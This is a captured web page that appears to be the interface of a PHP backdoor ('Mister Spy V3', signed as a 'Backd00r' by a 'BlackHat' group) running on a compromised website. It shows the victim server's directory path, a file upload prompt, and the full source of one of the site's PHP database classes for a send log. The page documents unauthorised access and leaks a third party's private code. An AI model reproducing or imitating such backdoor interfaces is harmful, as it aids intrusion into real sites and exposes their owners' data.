Mister Spy Say ="Hello Kids ... :D" ___ ____ _ _____ | \/ (_) | | / ___| | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _ | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | | | | | | \__ \ || __/ | /\__/ / |_) | |_| | \_| |_/_|___/\__\___|_| \____/| .__/ \__, | | | __/ | |_| |___/ Bot Mister Spy V3
Mister Spy

Mister Spy

Current Path : /home/caballoscriollos/public_html/web/library/
Upload File :
Current File : /home/caballoscriollos/public_html/web/library/class.envioslog.php

<?php 

require_once('class.dbaccess.php');
require_once('class.enviolog.php');
require_once('class.filter.php');

class EnviosLog extends DBAccess implements IFilterable
{
	public function ParseFilter(array $filter)
	{
		$sql = '';
		
		$sql.= " WHERE IdEnvio = " . DB::Number($filter['IdEnvio']);
		
		return $sql;
	}


	public function GetAll(array $filter = NULL)
	{
		$sql = "SELECT *";
		$sql.= " FROM tblEnviosLog";
		$sql.= ($filter) ? $this->ParseFilter($filter) : "";

		if (!($oRes = $this->GetQuery($sql)))
			return false;
			
		$arr = array();
			
		while ($oRow = $oRes->GetRow())	
		{	
			$oEnvioLog = new EnvioLog();
			$oEnvioLog->ParseFromArray($oRow);
			
			array_push($arr, $oEnvioLog);
			
			$oRes->MoveNext();
		}	
		
		return $arr;		
	}

	public function GetByIdEnvioCodigoRegistro($IdEnvio, $CodigoRegistro)
	{
		$sql = "SELECT *";
		$sql.= " FROM tblEnviosLog";
		$sql.= " WHERE IdEnvio = " . DB::Number($IdEnvio);
		$sql.= " AND CodigoRegistro = " . DB::String($CodigoRegistro);

		if (!($oRes = $this->GetQuery($sql)))
			return false;
			
		if (!$oRow = $oRes->GetRow())	
			return false;
		
		$oEnvioLog = new EnvioLog();
		$oEnvioLog->ParseFromArray($oRow);

		return $oEnvioLog;		
	}
	
	public function GetVistos($IdEnvio)
	{
		$sql = "SELECT *";
		$sql.= " FROM tblEnviosLog";
		$sql.= " WHERE IdEnvio = " . DB::Number($IdEnvio);
		$sql.= " AND Visto = 1";

		if (!($oRes = $this->GetQuery($sql)))
			return false;
			
		$arr = array();
			
		while ($oRow = $oRes->GetRow())	
		{	
			$oEnvioLog = new EnvioLog();
			$oEnvioLog->ParseFromArray($oRow);
			
			array_push($arr, $oEnvioLog);
			
			$oRes->MoveNext();
		}	
		
		return $arr;	
	}


	public function Create(EnvioLog $oEnvioLog)
	{
		$arr = array
		(	
			'IdEnvio'			=> DB::Number($oEnvioLog->IdEnvio),
			'IdUsuario'	  		=> DB::Number($oEnvioLog->IdUsuario),
			'Email'	  			=> DB::String($oEnvioLog->Email),
			'CodigoRegistro'	=> DB::String($oEnvioLog->CodigoRegistro),
			'Plataforma'	  	=> DB::String($oEnvioLog->Plataforma),
			'Resultado'	  		=> DB::String($oEnvioLog->Resultado),
			'Fecha'	  			=> DB::Date($oEnvioLog->Fecha),
			'Visto'				=> DB::Bool($oEnvioLog->Visto),
			'FechaVisto'		=> DB::Date($oEnvioLog->FechaVisto)
		);
		
		if (!$this->Insert('tblEnviosLog', $arr))
			return false;
			
		return $oEnvioLog;
	}


	public function Update(EnvioLog $oEnvioLog)
	{
		$where = " IdEnvioLog = " . DB::Number($oEnvioLog->IdEnvioLog);
		
		$arr = array
		(	
			'Visto'				=> DB::Bool($oEnvioLog->Visto),
			'FechaVisto'		=> DB::Date($oEnvioLog->FechaVisto)
		);
		
		if (!DBAccess::UpdateEntidad('tblEnviosLog', $arr, $where))
			return false;
			
		return $oEnvioLog;
	}
}

?>

Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat